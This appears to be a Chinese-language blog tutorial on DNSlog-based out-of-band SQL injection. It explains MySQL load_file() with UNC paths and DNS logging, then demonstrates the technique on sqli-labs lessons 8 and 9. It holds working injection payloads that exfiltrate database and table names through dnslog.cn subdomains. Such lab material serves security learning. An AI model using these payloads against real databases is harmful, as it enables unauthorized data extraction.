一、原理
DnsLog注入可以理解成是一种技巧,而不是一种攻击方式,是一种让无回显的攻击,变得有回显的方式,包括但不限于SQL盲注,下面以盲注为例,需要有盲注的基础。
在解释原理之前,首先了解一下几样东西,如下:
1. load_file函数
Mysql数据库的load_file()
函数不单可以读取本地文件,还可以通过UNC路径
访问远程文件。
DnsLog注入就是利用load_file()函数访问远程文件的特点,对延时盲注等无回显的注入或其他无回显的攻击带来回显。
2. UNC路径
UNC路径格式://servername/sharename/directory/filename
UNC路径就是类似上面这样形式的网络路径。它符合//servername/sharename
格式
-
servername 是服务器名或者域名
-
sharename 是共享资源的名称
UNC 名称可以包括共享名称下的目录路径 /directory/filename
实例及解读: //xclay.net/share/张三/账单.docs
如果访问上述UNC路径的话,就会得到xclay.net 服务器的share共享文件夹下的张三文件夹下的账单.docs文件
3. DNS解析
网上找到一张解释DNS解析过程非常通透的图片:
上面这个例子:本地DNS服务器会依次询问 根、.cn、.com.cn、.cloudcrowd.com.cn 逐步获得结果
正常来讲每个查询记录都会在相应DNS服务器上留下相关的查询日志,一般来说企业或者自己部署的DNS在上图标红位置处,可以查到我们的DNS解析记录(我们向谁查了什么样的域名) 简单粗暴一点可以这么理解。
4. 原理
先看一段payload
and load_file(concat("//",database(),".dfnyy4.dnslog.cn/123")) -- clay
通过concat函数来构造UNC路径,并带出我们想要的查询结果
concat("//",database(),".dfnyy4.dnslog.cn/123")
123是为了构造UNC路径("//servername/share")随便写的:
"//数据库名.dfnyy4.dnslog.cn/123"
所以我们只要查看查询 .dfnyy4.dnslog.cn 的DNS日志就能够看到整个回显
直接查看DNS日志比较困难,但网上有很多现成的平台:
- DnsLog(推荐)
原理:
load_file(UNC路径)
远程访问UNC路径中主机的地址,如果是域名将会进行解析并留下记录,通过查看DNS解析记录(DNS日志)来达到有回显的目的。
5. 条件
secure_file_priv
值必须为空,否则没办法
二、实验
1. sqli-lab less8 布尔盲注
特征: 只有错误和正常两种回显,单引号闭合
获取域名:
访问 DnsLog 获得一个域名:
payload:
1' and load_file(concat("//",database(),".u9zk6s.dnslog.cn/123")) -- clay
获取回显
访问
Dnslog 刷新
2. sqli-lab less9 延时盲注
特征: 单引号闭合延时盲注
payload:
1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.u9zk6s.dnslog.cn/123')) -- clay
Ps:如果paylaod没有问题但一直刷新不出来可能是谷歌浏览器的问题,换个浏览器访问一下就可以了
如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net